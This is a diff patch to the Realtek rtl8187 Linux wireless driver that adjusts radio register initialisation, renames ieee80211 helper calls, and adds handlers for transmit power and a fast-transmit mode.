rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { 